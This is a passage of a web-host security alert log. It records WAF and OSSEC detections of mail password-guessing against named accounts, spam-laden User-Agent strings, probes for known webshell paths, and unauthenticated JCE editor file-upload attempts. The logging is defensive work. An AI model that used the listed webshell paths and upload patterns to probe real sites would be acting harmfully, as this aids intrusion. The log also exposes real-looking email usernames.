IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"http://a-bcd.ru/?goto=jump&url=www.wiki.azerothsentinels.com%2Findex.php%2FNajlepsze_kasyna_online_%E2%80%94_live_casino%2C_slots_and_in-play_betting&gt;crypto\">najlepsze kasyna online</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.122.114.193
country_id: 798549
description:
2026-07-07 22:32:13 dovecot_login authenticator failed for H=(freshtools.fi) [85.122.114.193]:37650: 535 Incorrect authentication data (set_id=david.white@stcinemas.co)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 171.234.8.175
country_id: 1562822
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"http://pso2gah.s501.xrea.com/light/light.cgi\">\xe2\x80\x9cVi\xe1\xbb\x87n Eakmat \xc4\x90\xe1\xba\xafk L\xe1\xba\xafk\xe2\x80\x9d</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.183
country_id: 1269750
description:
2026-07-07 22:37:14 dovecot_login authenticator failed for H=([184.151.85.100]) [122.187.230.183]:37329: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.214.10.178
country_id: 2245662
description:
2026-07-07 22:37:15 dovecot_login authenticator failed for H=([68.71.243.10]) [41.214.10.178]:51102: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.186.202.58
country_id: 1269750
description:
2026-07-07 22:37:31 dovecot_login authenticator failed for H=([178.178.194.123]) [122.186.202.58]:54086: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.120.4.61
country_id: 1668284
description:
2026-07-07 22:36:54 dovecot_login authenticator failed for H=221-120-4-61.emome-ip.hinet.net (wsip-184-178-172-12.rn.hr.cox.net) [221.120.4.61]:38793: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.168.241.32
country_id: 1269750
description:
2026-07-07 22:39:32 dovecot_login authenticator failed for H=([50.217.40.11]) [103.168.241.32]:57454: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.196.45.10
country_id: 3017382
description:
2026-07-07 22:39:56 dovecot_login authenticator failed for H=ip10.ip-5-196-45.eu ([111.70.41.88]) [5.196.45.10]:61179: 535 Incorrect authentication data (set_id=cil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.210.148.41
country_id: 953987
description:
2026-07-07 22:40:10 dovecot_login authenticator failed for H=(ipmapt-72-195-34-37.oc.oc.cox.net) [102.210.148.41]:40034: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 20.46.45.121
country_id: 290557
description:
2026-07-07 22:40:29 dovecot_login authenticator failed for H=([62.16.103.46]) [20.46.45.121]:63933: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 20.243.200.248
country_id: 1861060
description:
2026-07-07 22:43:19 dovecot_login authenticator failed for H=([49.124.152.177]) [20.243.200.248]:36994: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.144.79.102
country_id: 1269750
description:
2026-07-07 22:50:04 dovecot_login authenticator failed for H=([49.124.147.253]) [59.144.79.102]:36362: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.220.16.51
country_id: 1269750
description:
2026-07-07 22:51:29 dovecot_login authenticator failed for H=([152.52.192.162]) [103.220.16.51]:47500: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 153.117.124.8
country_id: 1168579
domain: yukticlick.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:46285.yukticlick.com||ServerName:yukticlick.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:53c3f942d8c7b1acf1773561bf425d377075a5ed||Title:wiknsac7krmg7l30ke||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.106.49.149
country_id: 3932488
description:
2026-07-07 22:51:51 dovecot_login authenticator failed for H=([102.110.11.48]) [200.106.49.149]:46478: 535 Incorrect authentication data (set_id=rdcentre)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 192.210.188.157
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://maps.app.goo.gl/MD8CXP5EjD7iHhxZ9\">Hosted voip phone system</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.205.206.52
country_id: 1880251
domain: ogocindia.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.26||T:APACHE||MV:/wp-content/uploads/index.php||SC:/home/ogocindia/public_html/wp-content||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.205.206.52
country_id: 1880251
domain: ogocindia.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.26||T:APACHE||MV:/upload/wp-info.php||SC:/home/ogocindia/public_html/upload||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 47.91.104.88
country_id: 290557
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://vird.co/go/angkanet\">Angka Net</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.148.184.47
country_id: 1835841
description:
2026-07-07 22:57:36 dovecot_login authenticator failed for H=([62.182.132.94]) [121.148.184.47]:48849: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.156.8.97
country_id: 1835841
description:
2026-07-07 22:58:08 dovecot_login authenticator failed for H=([124.152.90.68]) [218.156.8.97]:39436: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.152.177
country_id: 1733045
description:
2026-07-07 23:02:25 dovecot_login authenticator failed for H=([220.126.215.120]) [49.124.152.177]:33258: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.229.168
country_id: 1269750
description:
2026-07-07 23:02:46 dovecot_login authenticator failed for H=([70.166.167.33]) [122.187.229.168]:57225: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 38.148.99.59
country_id: 6252001
description:
2026-07-07 23:03:02 dovecot_login authenticator failed for H=([70.166.167.42]) [38.148.99.59]:36179: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.176.160.146
country_id: 1269750
description:
2026-07-07 23:03:45 dovecot_login authenticator failed for H=([121.137.82.50]) [103.176.160.146]:44812: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.5.117.238
country_id: 1694008
description:
2026-07-07 23:03:59 dovecot_login authenticator failed for H=([183.171.44.82]) [210.5.117.238]:55550: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 109.238.140.87
country_id: 2661886
description:
2026-07-07 23:04:08 dovecot_login authenticator failed for H=customer-109-238-140-87.stosn.net ([125.23.255.134]) [109.238.140.87]:36860: 535 Incorrect authentication data (set_id=prasad.k)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 62.60.130.228
country_id: 130758
domain: elegantautomotives.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.26||T:APACHE||MV:/images/images/cache.php||SC:/home/elegantautomotiv/public_html/images||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.78.69.178
country_id: 1269750
description:
2026-07-07 23:10:46 dovecot_login authenticator failed for H=(static-mum-182.60.128.241.mtnl.net.in) [182.78.69.178]:39800: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: modsec
rule: 77469916
abuser: 141.255.164.66
country_id: 2658434
domain: fefkadirectorsunion.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:ackcolfb.xml.php||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.219.149.74
country_id: 2328926
description:
2026-07-07 23:11:36 dovecot_login authenticator failed for H=([45.164.115.86]) [41.219.149.74]:55701: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.194.4.121
country_id: 1835841
domain: idealloanz.com.au
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.26||T:APACHE||MV:/wp-includes/images/wp-login.php||SC:/home/idealloanzcom/public_html/wp-includes||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.171.49.144
country_id: 1733045
description:
2026-07-07 23:15:41 dovecot_login authenticator failed for H=(karuna.divineled.com) [183.171.49.144]:40386: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.218.247.234
country_id: 1522867
description:
2026-07-07 23:16:10 dovecot_login authenticator failed for H=([217.195.94.243]) [89.218.247.234]:45352: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 172.255.83.134
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://casasquetecuentancosas.com/\">sboagen</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.210.116.141
country_id: 1861060
domain: futuracare.com.au
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.26||T:APACHE||MV:/wp-content/uploads/2021/02/index.php||SC:/home/futuracarecom/public_html/wp-content||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 84.54.122.239
country_id: 1512440
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/retail-and-hospitality HTTP/1.1||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.176.160.146
country_id: 1269750
description:
2026-07-07 23:24:02 dovecot_login authenticator failed for H=(broadband.actcorp.in) [103.176.160.146]:49300: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 157.250.206.54
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://recentlybooked.com/\">beer mugs</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 40.74.72.83
country_id: 1861060
domain: combinations.in
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.26||T:APACHE||MV:/images/images/about.php||SC:/home/combinations/public_html/images||


plugin: modsec
rule: 77140742
name: IM360 WAF: Block abusive scripts
abuser: 40.74.72.83
country_id: 1861060
domain: combinations.in
description:
IM360 WAF: Block abusive scripts||MVN:REQUEST_URI||RSV:8.26||T:APACHE||MV:/wp-admin/includes/index.php||


plugin: modsec
rule: 77350390
name: IM360 WAF: Interaction with fake plugin
abuser: 40.74.72.83
country_id: 1861060
domain: combinations.in
description:
IM360 WAF: Interaction with fake plugin||MV:/wp-content/plugins/pwnd/as.php||WPU:||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 40.74.72.83
country_id: 1861060
domain: combinations.in
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.26||T:APACHE||MV:/wp-includes/js/tinymce/skins/lightgray/img/index.php||SC:/home/combinations/public_html/wp-includes||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.207.177.56
country_id: 192950
description:
2026-07-07 23:29:38 dovecot_login authenticator failed for H=([121.189.226.81]) [196.207.177.56]:59635: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.210.94
country_id: 1036973
description:
2026-07-07 23:31:36 dovecot_login authenticator failed for H=(host-static-178-132-144-161.moldtelecom.md) [197.219.210.94]:48824: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 31.223.75.233
country_id: 298795
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://www.symbaloo.com/mix/1v1-lol-unblocked?lang=EN\">1v1.lol</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.185.158
country_id: 1269750
description:
2026-07-07 23:37:25 dovecot_login authenticator failed for H=(broadband-5-228-1-56.ip.moscow.rt.ru) [182.95.185.158]:55266: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.23.228.86
country_id: 1269750
description:
2026-07-07 23:38:29 dovecot_login authenticator failed for H=([222.117.176.58]) [125.23.228.86]:52152: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.161.126
country_id: 99237
description:
2026-07-07 23:38:47 dovecot_login authenticator failed for H=(111-70-25-161.emome-ip.hinet.net) [65.20.161.126]:52827: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 217.211.208.125
country_id: 2661886
description:
2026-07-07 23:39:16 dovecot_login authenticator failed for H=217-211-208-125-no2550.tbcn.telia.com ([222.124.14.234]) [217.211.208.125]:60550: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.19.182.118
country_id: 1269750
description:
2026-07-07 23:39:05 dovecot_login authenticator failed for H=(domi.static.gvt.net.br) [125.19.182.118]:48286: 535 Incorrect authentication data (set_id=khalid)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.237.191
country_id: 99237
description:
2026-07-07 23:40:23 dovecot_login authenticator failed for H=(dynamic-ip-181612514.cable.net.co) [65.20.237.191]:49060: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.72.198.61
country_id: 1835841
description:
2026-07-07 23:40:59 dovecot_login authenticator failed for H=([98.181.137.75]) [220.72.198.61]:60361: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.231.243.28
country_id: 6252001
description:
2026-07-07 23:41:36 dovecot_login authenticator failed for H=([111.206.233.34]) [50.231.243.28]:58676: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.55.89.5
country_id: 1269750
description:
2026-07-07 23:43:49 dovecot_login authenticator failed for H=(187-50-27-129.customer.tdatabrasil.net.br) [103.55.89.5]:48614: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.171.148.171
country_id: 1733045
description:
2026-07-07 23:43:56 dovecot_login authenticator failed for H=([49.124.152.232]) [183.171.148.171]:36046: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 196.247.225.211
country_id: 2623032
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"http://yedhod18.com/video-tag/%E0%B9%80%E0%B8%A2%E0%B9%87%E0%B8%94%E0%B9%81%E0%B8%A3%E0%B8%87/\">\xe0\xb8\xab\xe0\xb8\x99\xe0\xb8\xb1\xe0\xb8\x87\xe0\xb9\x82\xe0\xb8\x9b\xe0\xb9\x8a\xe0\xb8\xab\xe0\xb8\xb5</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.223.187.249
country_id: 1835841
description:
2026-07-07 23:44:05 dovecot_login authenticator failed for H=([70.166.167.35]) [211.223.187.249]:55052: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 78.187.230.168
country_id: 298795
description:
2026-07-07 23:46:37 dovecot_login authenticator failed for H=([49.124.153.42]) [78.187.230.168]:42024: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 88.215.1.201
country_id: 2635167
description:
2026-07-07 23:46:54 dovecot_login authenticator failed for H=([160.3.210.204]) [88.215.1.201]:56282: 535 Incorrect authentication data (set_id=mail)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.135.60.145
country_id: 3017382
description:
2026-07-07 23:50:29 dovecot_login authenticator failed for H=ip145.ip-5-135-60.eu ([186.238.157.140]) [5.135.60.145]:25860: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.187.155.130
country_id: 6252001
description:
2026-07-07 23:50:56 dovecot_login authenticator failed for H=(111-70-28-243.emome-ip.hinet.net) [50.187.155.130]:59247: 535 Incorrect authentication data (set_id=cil)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 52.184.100.96
country_id: 1819730
domain: ibmctradeflow.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.26||T:APACHE||MV:/wp-content/uploads/index.php||SC:/home/ibmctradeflow/public_html/wp-content||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.88.116.62
country_id: 1880251
description:
2026-07-07 23:52:58 dovecot_login authenticator failed for H=([106.248.238.187]) [116.88.116.62]:64706: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.193.168.136
country_id: 1269750
description:
2026-07-07 23:53:13 dovecot_login authenticator failed for H=([194.154.92.163]) [203.193.168.136]:33490: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: modsec
rule: 77469916
abuser: 209.99.184.194
country_id: 2658434
domain: stcinemas.co
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:uaji217azo.xml.php||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.78.157.244
country_id: 1861060
domain: ddgalaxy.in
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.26||T:APACHE||MV:/wp-content/uploads/index.php||SC:/home/ddgalaxy/public_html/wp-content||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.252.93.114
country_id: 1269750
description:
2026-07-08 00:03:55 dovecot_login authenticator failed for H=([85.93.45.33]) [117.252.93.114]:58451: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 12.150.243.22
country_id: 6252001
description:
2026-07-08 00:04:00 dovecot_login authenticator failed for H=([195.218.159.123]) [12.150.243.22]:32073: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 34.41.211.48
country_id: 6252001
description:
2026-07-08 00:04:08 dovecot_login authenticator failed for H=48.211.41.34.bc.googleusercontent.com ([72.37.216.65]) [34.41.211.48]:43842: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.130.102.172
country_id: 1835841
description:
2026-07-08 00:05:42 dovecot_login authenticator failed for H=([49.124.147.115]) [125.130.102.172]:57192: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.82.108.109
country_id: 1269750
description:
2026-07-08 00:09:09 dovecot_login authenticator failed for H=(186-201-12-209.customer.tdatabrasil.net.br) [183.82.108.109]:41828: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.66.213.59
country_id: 1269750
description:
2026-07-08 00:09:50 dovecot_login authenticator failed for H=([211.178.165.251]) [182.66.213.59]:46514: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 217.211.208.125
country_id: 2661886
description:
2026-07-08 00:13:38 dovecot_login authenticator failed for H=217-211-208-125-no2550.tbcn.telia.com ([188.36.7.196]) [217.211.208.125]:54152: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 216.45.75.104
country_id: 6252001
description:
2026-07-08 00:13:56 dovecot_login authenticator failed for H=([142.54.229.253]) [216.45.75.104]:41278: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 4.193.152.113
country_id: 1880251
domain: fefkadirectorsunion.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.26||T:APACHE||MV:/wp-includes/images/wp-login.php||SC:/home/fefkadirectors/public_html/wp-includes||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 209.242.211.246
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://maps.app.goo.gl/MD8CXP5EjD7iHhxZ9\">Business hosted voip providers</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.185.142
country_id: 1269750
description:
2026-07-08 00:15:43 dovecot_login authenticator failed for H=([84.111.136.210]) [182.95.185.142]:58544: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 114.30.223.119
country_id: 1835841
description:
2026-07-08 00:15:03 dovecot_login authenticator failed for H=([184.185.2.1]) [114.30.223.119]:37453: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.133.56
country_id: 99237
description:
2026-07-08 00:20:11 dovecot_login authenticator failed for H=([14.33.93.214]) [65.20.133.56]:34608: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 160.187.68.132
country_id: 1269750
domain: ahsmarine.com
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36||MV:/wp-json/wp/v2/users/me||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.228.106
country_id: 1269750
description:
2026-07-08 00:21:07 dovecot_login authenticator failed for H=([14.51.12.142]) [182.95.228.106]:37500: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 4.240.37.21
country_id: 1269750
domain: combinations.in
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.26||T:APACHE||MV:/wp-content/uploads/index.php||SC:/home/combinations/public_html/wp-content||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 4.240.37.21
country_id: 1269750
domain: combinations.in
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.26||T:APACHE||MV:/upload/wp-info.php||SC:/home/combinations/public_html/upload||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.210.116.141
country_id: 1861060
domain: interceptorglobal.in
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.26||T:APACHE||MV:/wp-content/uploads/2021/02/index.php||SC:/home/interceptorgloba/public_html/wp-content||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.208.58
country_id: 1036973
description:
2026-07-08 00:28:39 dovecot_login authenticator failed for H=([125.88.160.13]) [197.219.208.58]:42888: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 138.91.42.48
country_id: 1880251
domain: ogocindia.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.26||T:APACHE||MV:/wp-content/uploads/2021/02/index.php||SC:/home/ogocindia/public_html/wp-content||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.189.59.226
country_id: 337996
description:
2026-07-08 00:28:46 dovecot_login authenticator failed for H=([70.166.167.58]) [196.189.59.226]:51274: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.191.231
country_id: 99237
description:
2026-07-08 00:29:03 dovecot_login authenticator failed for H=(static.92.254.104.190.cps.com.ar) [65.20.191.231]:59457: 535 Incorrect authentication data (set_id=sunil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.123.114.190
country_id: 1269750
description:
2026-07-08 00:29:12 dovecot_login authenticator failed for H=(162.9.52.116.broad.km.yn.dynamic.163data.com.cn) [27.123.114.190]:43050: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.195.201.184
country_id: 1269750
domain: stcinemas.co
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:24700.stcinemas.co||ServerName:stcinemas.co||Method:metaWeblog.newPost||BlogID:1||TitleSHA:845ffa6f4862ff2d6b23109efb09247802ff9934||Title:0xeaabb573||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 174.168.146.152
country_id: 6252001
description:
2026-07-08 00:39:18 dovecot_login authenticator failed for H=c-174-168-146-152.hsd1.ct.comcast.net ([103.120.116.162]) [174.168.146.152]:55194: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.121.255.194
country_id: 798549
description:
2026-07-08 00:39:45 dovecot_login authenticator failed for H=(111-70-19-64.emome-ip.hinet.net) [89.121.255.194]:30405: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: modsec
rule: 77469916
abuser: 141.255.164.66
country_id: 2658434
domain: globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:htkkgipx.xml.php||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.100.156.38
country_id: 1605651
description:
